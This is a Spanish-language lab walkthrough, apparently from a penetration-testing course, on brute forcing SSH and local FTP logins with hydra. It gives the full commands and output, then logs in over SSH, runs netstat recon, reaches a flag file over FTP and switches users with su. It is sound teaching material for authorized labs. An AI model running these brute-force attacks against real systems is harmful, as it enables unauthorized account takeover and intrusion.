Saltar a contenido

Service Authentication Brute Forcing

El comando utilizado para atacar un servicio de login es bastante sencillo. Simplemente tenemos que proporcionar las wordlists de nombre de usuario/contraseña y agregar service://SERVER_IP:PORT al final. Como de costumbre, añadiremos los flags -u -f. Finalmente, cuando ejecutemos el comando por primera vez, hydra sugerirá que añadamos el flag -t 4 para un número máximo de intentos paralelos, ya que muchos SSH limitan el número de conexiones paralelas y descartan otras conexiones, lo que resulta en muchos de nuestros intentos siendo descartados. Nuestro comando final debería ser el siguiente:

hydra -L bill.txt -P william.txt -u -f ssh://178.35.49.134:22 -t 4

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra)
[DATA] max 4 tasks per 1 server, overall 4 tasks, 157116 login tries (l:12/p:13093), ~39279 tries per task
[DATA] attacking ssh://178.35.49.134:22/
[STATUS] 77.00 tries/min, 77 tries in 00:01h, 157039 to do in 33:60h, 4 active
[PORT][ssh] host: 178.35.49.134   login: b.gates   password: ...SNIP...
[STATUS] attack finished for 178.35.49.134 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra)

Vemos que toma algún tiempo terminar, pero eventualmente, obtenemos un par funcional y identificamos al usuario b.gates. Ahora, podemos intentar iniciar sesión por SSH utilizando las credenciales que obtuvimos:

ssh b.gates@178.35.49.134 -p 22

b.gates@SERVER_IP's password: ********

b.gates@bruteforcing:~$ whoami
b.gates

Como podemos ver, podemos iniciar sesión por SSH y obtener un shell en el servidor.


FTP Brute Forcing

Una vez que estamos dentro, podemos verificar qué otros usuarios están en el sistema:

b.gates@bruteforcing:~$ ls /home

b.gates  m.gates

Notamos otro usuario, m.gates. También notamos en nuestro recon local que el puerto 21 está abierto localmente, lo que indica que debe haber un FTP disponible:

b.gates@bruteforcing:~$ netstat -antp | grep -i list

(No info could be read for "-p": geteuid()=1000 but you should be root.)
tcp        0      0 127.0.0.1:21            0.0.0.0:*               LISTEN      - 
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -                  

A continuación, podemos intentar realizar un brute force en el inicio de sesión FTP para el usuario m.gates.

Nota 1: A veces, los administradores prueban sus medidas y políticas de seguridad con diferentes herramientas. En este caso, el administrador de este servidor web mantuvo "hydra" instalado. Podemos beneficiarnos de esto y usarlo contra el sistema local atacando el servicio FTP localmente o remotamente.

Nota 2: "rockyou-10.txt" se puede encontrar en "/opt/useful/SecLists/Passwords/Leaked-Databases/rockyou-10.txt", que contiene un total de 92 contraseñas. Esta es una versión más corta de "rockyou.txt" que incluye 14,344,391 contraseñas.

Así que, de manera similar a cómo atacamos el servicio SSH, podemos realizar un ataque similar en FTP:

b.gates@bruteforcing:~$ hydra -l m.gates -P rockyou-10.txt ftp://127.0.0.1

Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra)
[DATA] max 16 tasks per 1 server, overall 16 tasks, 92 login tries (l:1/p:92), ~6 tries per task
[DATA] attacking ftp://127.0.0.1:21/

[21][ftp] host: 127.0.0.1   login: m.gates   password: <...SNIP...>
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra)

Ahora podemos intentar conectarnos por FTP como ese usuario, o incluso cambiar a ese usuario. Vamos a intentar ambas cosas:

b.gates@bruteforcing:~$ ftp 127.0.0.1

Connected to 127.0.0.1.
220 (vsFTPd 3.0.3)
Name (127.0.0.1:b.gates): m.gates

331 Please specify the password.
Password: 

230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir

200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-------    1 1001     1001           33 Sep 11 00:06 flag.txt
226 Directory send OK.

Y para cambiar a ese usuario:

b.gates@bruteforcing:~$ su - m.gates

Password: *********
m.gates@bruteforcing:~$
m.gates@bruteforcing:~$ whoami

m.gates